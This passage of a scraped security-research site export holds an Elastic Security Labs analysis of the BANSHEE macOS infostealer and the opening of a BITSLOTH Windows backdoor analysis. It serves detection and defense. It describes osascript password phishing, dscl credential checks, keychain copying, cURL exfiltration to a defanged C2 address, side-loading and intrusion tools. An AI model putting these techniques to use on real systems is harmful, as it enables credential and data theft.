wallets.\",author:[{slug:\"elastic-security-labs\"}],image:\"beyond-the-wail.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"macos\",\"infostealer\",\"BANSHEE\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",img:\"img\",ul:\"ul\",li:\"li\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h3:\"h3\",a:\"a\",h4:\"h4\",pre:\"pre\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:'In August 2024, a novel macOS malware named \"BANSHEE Stealer\" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures.'}),`\n`,(0,t.jsx)(e.p,{children:\"This malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.\"}),`\n`,(0,t.jsx)(e.p,{children:\"With a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image2.png\",alt:\"Source: https://x.com/privacyis1st/status/1822948909670408573\",title:\"Source: https://x.com/privacyis1st/status/1822948909670408573\",width:\"1440\",height:\"615\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.\"}),`\n`,(0,t.jsx)(e.li,{children:\"BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.\"}),`\n`,(0,t.jsx)(e.li,{children:\"BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"malware-analysis\",children:\"Malware Analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image5.png\",alt:\"Functions list that initialize the global variables of every source file\",title:\"Functions list that initialize the global variables of every source file\",width:\"1440\",height:\"390\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following table summarizes the leaked \",(0,t.jsx)(e.code,{children:\".cpp\"}),\" file names through the symbols in the binary.\"]}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"File name\"}),(0,t.jsx)(e.th,{children:\"Description\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Controller.cpp\"})}),(0,t.jsx)(e.td,{children:\"Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Browsers.cpp\"})}),(0,t.jsx)(e.td,{children:\"Handles the collection of data from various web browsers.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"System.cpp\"})}),(0,t.jsx)(e.td,{children:\"Executes AppleScripts to gather system information and perform password phishing.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Tools.cpp\"})}),(0,t.jsx)(e.td,{children:\"Provides utility functions for encryption, directory creation, and compression etc.\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:(0,t.jsx)(e.code,{children:\"Wallets.cpp\"})}),(0,t.jsx)(e.td,{children:\"Responsible for collecting data from cryptocurrency wallets.\"})]})]})]})}),`\n`,(0,t.jsx)(e.h3,{id:\"debugger-vm-detection-and-language-checks\",children:\"Debugger, VM Detection, and Language Checks\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image8.png\",alt:\"Checking for debugging, Virtualization, and the language of the machine\",title:\"Checking for debugging, Virtualization, and the language of the machine\",width:\"1201\",height:\"693\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"BANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the \",(0,t.jsx)(e.a,{href:\"https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html\",rel:\"nofollow\",children:\"sysctl\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image1.png\",alt:\"Debugging detection with sysctl macOS API\",title:\"Debugging detection with sysctl macOS API\",width:\"926\",height:\"396\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"For virtualization detection, it runs the command \",(0,t.jsx)(e.code,{children:\"system_profiler SPHardwareDataType | grep 'Model Identifier'\"}),\" to determine whether the string \",(0,t.jsx)(e.code,{children:\"Virtual\"}),\" appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image7.png\",alt:\"Virtual machine check\",title:\"Virtual machine check\",width:\"931\",height:\"508\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, It parses the user-preferred canonicalized language returned from the \",(0,t.jsx)(e.a,{href:\"https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages\",rel:\"nofollow\",children:\"CFLocaleCopyPreferredLanguages \"}),\" API and looks for the string \",(0,t.jsx)(e.code,{children:\"ru\"}),\". This tactic helps the malware avoid infecting systems where Russian is the primary language.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"system-information-collection\",children:\"System information collection\"}),`\n`,(0,t.jsx)(e.h4,{id:\"user-password\",children:\"User password\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware creates an \",(0,t.jsx)(e.a,{href:\"https://ss64.com/mac/osascript.html\",rel:\"nofollow\",children:\"Osascript\"}),\" password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"When the user enters the password, it will be validated using the \",(0,t.jsx)(e.a,{href:\"https://ss64.com/mac/dscl.html\",rel:\"nofollow\",children:\"dscl\"}),\" command by running \",(0,t.jsx)(e.code,{children:\"dscl Local/Default -authonly \u003cusername\u003e \u003cpassword\u003e\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If valid, the password will be written to the following file \",(0,t.jsx)(e.code,{children:\"/Users/\u003cusername\u003e/password-entered\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image3.png\",alt:\"User password phishing through a prompt\",title:\"User password phishing through a prompt\",width:\"1327\",height:\"454\"})}),`\n`,(0,t.jsx)(e.p,{children:\"These credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.\"}),`\n`,(0,t.jsx)(e.h4,{id:\"file-software-and-hardware-information-collection\",children:\"File, software, and hardware information collection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The function \",(0,t.jsx)(e.code,{children:\"System::collectSystemInfo\"}),\" collects system information and serializes it in a JSON object. It executes the command \",(0,t.jsx)(e.code,{children:\"system_profiler SPSoftware DataType SPHardwareDataType\"}),\", which provides details about the system\\u2019s software and hardware. It gets the machine's public IP by requesting it from \",(0,t.jsx)(e.code,{children:\"freeipapi.com\"}),\" through the built-in macOS \",(0,t.jsx)(e.code,{children:\"cURL\"}),\" command.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The JSON file will be saved under \",(0,t.jsx)(e.code,{children:\"\u003ctemporary_path\u003e/system_info.json\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"BANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file \",(0,t.jsx)(e.code,{children:\"/tmp/tempAppleScript\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first script to be executed first mutes the system sound with \",(0,t.jsx)(e.code,{children:\"osascript -e 'set volume with output muted'\"}),\" command. It then collects various files from the system, which are listed below:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Safari cookies\"}),`\n`,(0,t.jsx)(e.li,{children:\"Notes database\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Files with the following extensions \",(0,t.jsx)(e.code,{children:\".txt\"}),\", \",(0,t.jsx)(e.code,{children:\".docx\"}),\", \",(0,t.jsx)(e.code,{children:\".rtf\"}),\", \",(0,t.jsx)(e.code,{children:\".doc\"}),\", \",(0,t.jsx)(e.code,{children:\".wallet\"}),\", \",(0,t.jsx)(e.code,{children:\".keys\"}),\", or \",(0,t.jsx)(e.code,{children:\".key\"}),\" from the Desktop and Documents folders.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h4,{id:\"dump-keychain-passwords\",children:\"Dump keychain passwords\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"It copies the keychain of the system \",(0,t.jsx)(e.code,{children:\"/Library/Keychains/login.keychain-db\"}),\" to \",(0,t.jsx)(e.code,{children:\"\u003ctemporary_path\u003e/Passwords\"})]}),`\n`,(0,t.jsx)(e.h3,{id:\"browser-collection\",children:\"Browser collection\"}),`\n`,(0,t.jsx)(e.p,{children:\"BANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Chrome\"}),`\n`,(0,t.jsx)(e.li,{children:\"Firefox\"}),`\n`,(0,t.jsx)(e.li,{children:\"Brave\"}),`\n`,(0,t.jsx)(e.li,{children:\"Edge\"}),`\n`,(0,t.jsx)(e.li,{children:\"Vivaldi\"}),`\n`,(0,t.jsx)(e.li,{children:\"Yandex\"}),`\n`,(0,t.jsx)(e.li,{children:\"Opera\"}),`\n`,(0,t.jsx)(e.li,{children:\"OperaGX\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Regarding Safari, only the cookies are collected by the AppleScript script for the current version.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image4.png\",alt:\"Web browser file collection\",title:\"Web browser file collection\",width:\"1289\",height:\"678\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Additionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The collected files are saved under \",(0,t.jsx)(e.code,{children:\"\u003ctemporary_path\u003e/Browsers\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"wallet-collection\",children:\"Wallet collection\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Exodus\"}),`\n`,(0,t.jsx)(e.li,{children:\"Electrum\"}),`\n`,(0,t.jsx)(e.li,{children:\"Coinomi\"}),`\n`,(0,t.jsx)(e.li,{children:\"Guarda\"}),`\n`,(0,t.jsx)(e.li,{children:\"Wasabi Wallet\"}),`\n`,(0,t.jsx)(e.li,{children:\"Atomic\"}),`\n`,(0,t.jsx)(e.li,{children:\"Ledger\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The collected wallets are stored under \",(0,t.jsx)(e.code,{children:\"\u003ctemporary_path\u003e/Wallets\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"exfiltration\",children:\"Exfiltration\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"After the malware finishes collecting data, it first ZIP compresses the temporary folder using the \",(0,t.jsx)(e.code,{children:\"ditto\"}),\" command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: \",(0,t.jsx)(e.code,{children:\"http://45.142.122[.]92/send/\"}),\" with the built-in cURL command.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/beyond-the-wail/image6.png\",alt:\"Xor and base64 encoding of the zip file to be exfiltrated\",title:\"Xor and base64 encoding of the zip file to be exfiltrated\",width:\"899\",height:\"350\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"behavior-detection\",children:\"Behavior detection\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml\",rel:\"nofollow\",children:\"Crypto Wallet File Access by Unsigned or Untrusted Binary\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml\",rel:\"nofollow\",children:\"Web Browser Credential Data Accessed by Unsigned or Untrusted Process\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml\",rel:\"nofollow\",children:\"Osascript Payload Drop and Execute\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml\",rel:\"nofollow\",children:\"Potential Credentials Phishing via Osascript\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"yara-rule\",children:\"YARA rule\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Macos_Infostealer_Banshee {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-08-13\"\n last_modified = \"2024-08-13\"\n os = \"MacOS\"\n arch = \"x86, arm64\"\n category_type = \"Infostealer\"\n family = \"Banshee\"\n threat_name = \"Macos.Infostealer.Banshee\"\n license = \"Elastic License v2\"\n\n strings:\n $str_0 = \"No debugging, VM, or Russian language detected.\" ascii fullword\n $str_1 = \"Remote IP: \" ascii fullword\n $str_2 = \"Russian language detected!\" ascii fullword\n $str_3 = \" is empty or does not exist, skipping.\" ascii fullword\n $str_4 = \"Data posted successfully\" ascii fullword\n $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }\n $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }\n condition:\n all of ($str_*) or all of ($binary_*)\n}\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"BANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"observables\",children:\"Observables\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/banshee\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"BANSHEE stealer\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"45.142.122[.]92\"}),(0,t.jsx)(e.td,{children:\"ipv4-addr\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"BANSHEE stealer C2\"})]})]})]})})]})}function _(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var v=_;return w(E);})();\n;return Component;"},"_id":"articles/beyond-the-wail.mdx","_raw":{"sourceFilePath":"articles/beyond-the-wail.mdx","sourceFileName":"beyond-the-wail.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/beyond-the-wail"},"type":"Article","imageUrl":"/assets/images/beyond-the-wail/beyond-the-wail.jpg","readingTime":"10 min read","series":"","url":"/beyond-the-wail","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Malware Analysis","href":"#malware-analysis"},{"level":3,"title":"Debugger, VM Detection, and Language Checks","href":"#debugger-vm-detection-and-language-checks"},{"level":3,"title":"System information collection","href":"#system-information-collection"},{"level":4,"title":"User password","href":"#user-password"},{"level":4,"title":"File, software, and hardware information collection","href":"#file-software-and-hardware-information-collection"},{"level":4,"title":"Dump keychain passwords","href":"#dump-keychain-passwords"},{"level":3,"title":"Browser collection","href":"#browser-collection"},{"level":3,"title":"Wallet collection","href":"#wallet-collection"},{"level":3,"title":"Exfiltration","href":"#exfiltration"},{"level":2,"title":"Behavior detection","href":"#behavior-detection"},{"level":2,"title":"YARA rule","href":"#yara-rule"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Observables","href":"#observables"}],"author":[{"title":"Elastic Security Labs","slug":"elastic-security-labs","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of f(e))!g.call(t,s)\u0026\u0026s!==n\u0026\u0026a(t,s,{get:()=\u003ee[s],enumerable:!(o=x(e,s))||o.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?m(_(t)):{},c(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ec(a({},\"__esModule\",{value:!0}),t);var u=j((L,i)=\u003e{i.exports=_jsx_runtime});var D={};b(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=d(u()),y={title:\"Elastic Security Labs\",slug:\"elastic-security-labs\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"authors/elastic-security-labs.mdx","_raw":{"sourceFilePath":"authors/elastic-security-labs.mdx","sourceFileName":"elastic-security-labs.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/elastic-security-labs"},"type":"Author","imageUrl":"","url":"/authors/elastic-security-labs"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor","slug":"bits-and-bytes-analyzing-bitsloth","date":"2024-08-01","description":"Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.","image":"Security Labs Images 29.jpg","body":{"raw":"\n## BITSLOTH at a glance\n\nBITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.\n\nThe most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.\n\n### Key takeaways\n\n - BITSLOTH is a newly discovered Windows backdoor\n - BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication \n - BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes\n - The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers\n\n## Discovery\n\nOur team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.\n\n - [RINGQ](https://github.com/T4y1oR/RingQ)\n - [IOX](https://github.com/EddieIvan01/iox)\n - [STOWAWAY](https://github.com/ph4ntonn/Stowaway)\n - [GODPOTATO](https://github.com/BeichenDream/GodPotato)\n - [NOPAC](https://github.com/Ridter/noPac)\n - [MIMIKATZ](https://github.com/gentilkiwi/mimikatz)\n - [PPLFAULT](https://github.com/gabriellandau/PPLFault)\n - [CERTIFY](https://github.com/GhostPack/Certify)\n\nOne of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.\n\n![Screenshot of RingQ demo](/assets/images/bits-and-bytes-analyzing-bitsloth/image21.png)\n\nWe observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.\n\n![RINGQ loading and executing IOX](/assets/images/bits-and-bytes-analyzing-bitsloth/image13.png)\n\nAdditionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.\n\n![STOWAWAY proxy usage](/assets/images/bits-and-bytes-analyzing-bitsloth/image19.png)\n\nAfter initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (```flengine.dll```) inside the ProgramData directory. The actor then executed the music-making program FL Studio (```fl.exe```). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of [FL Studio](https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details). \n\n```\n c:\\windows\\syswow64\\ntdll.dll!0x770841AC\n c:\\windows\\syswow64\\ntdll.dll!0x7709D287\n c:\\windows\\syswow64\\kernelbase.dll!0x76ED435F\n c:\\windows\\syswow64\\kernelbase.dll!0x76ED42EF\n Unbacked!0x14EAB23\n Unbacked!0x14EA8B6\n c:\\programdata\\pl studio\\flengine.dll!0x74AD2F2E\n c:\\programdata\\pl studio\\fl.exe!0xDB3985\n c:\\programdata\\pl studio\\fl.exe!0xDB3E5E\n c:\\programdata\\pl studio\\fl.exe!0xDB4D3F\n c:\\windows\\syswow64\\kernel32.dll!0x76B267F9\n c:\\windows\\syswow64\\ntdll.dll!0x77077F4D\n c:\\windows\\syswow64\\ntdll.dll!0x77077F1B\n```\n\nThis call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.\n\n#### BITSLOTH overview\n\nDuring our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the ```Slaver``` component and the command and control server as the ```Master``` component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:\n\n![PDB linked to BITSLOTH sample](/assets/images/bits-and-bytes-analyzing-bitsloth/image7.png)\n\nBITSLOTH employs no obfuscation around control flow or any kind of string encryption.\n\n![BITSLOTH strings](/assets/images/bits-and-bytes-analyzing-bitsloth/image9.png)\n\nBoth older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (```.rdata```). \n\n![Debugging](/assets/images/bits-and-bytes-analyzing-bitsloth/image24.png) \n\nThis Simplified Chinese wide-character string translates to:\n```Note: There is already a program running, do not run it again…```\n\n![String left by developer](/assets/images/bits-and-bytes-analyzing-bitsloth/image29.png)\n\nThese small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as [EAGERBEE](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set).\n\n![BITSLOTH scheduling component](/assets/images/bits-and-bytes-analyzing-bitsloth/image27.png)\n\n## BITSLOTH code analysis\n\nBITSLOTH is a backdoor with many different capabilities including:\n\n - Running and executing commands\n - Uploading and downloading files\n - Performing enumeration and discovery \n - Collecting sensitive data through keylogging and screen capturing\n\n### Mutex\n\nBITSLOTH uses a hard-coded mutex (```Global\\d5ffff77ff77adad657658```) within each sample to ensure only one instance is running at a time. \n\n![Mutex used by BITSLOTH](/assets/images/bits-and-bytes-analyzing-bitsloth/image6.png)\n\n### Communication\n\nBITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the ```Slaver``` component and the command and control server (C2) as the ```Master``` component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (```rrrr_url```). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.\n\nBelow are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.\n\n```\nrrrr_url216.238.121[.]132:8443\nrrrr_url192.168.1[.]125:8443 \nrrrr_url192.168.1[.]124:8443\nrrrr_url45.116.13[.]178:443\n```\n\nOne of the defining features of BITSLOTH is using the [Background Intelligent Transfer Service](https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been [abused](https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/) by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.\n\n\u003e Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.\n\nThe BITS API is exposed through Window’s [Component Object Model](https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal) (COM) using the **IBackgroundCopyManager** 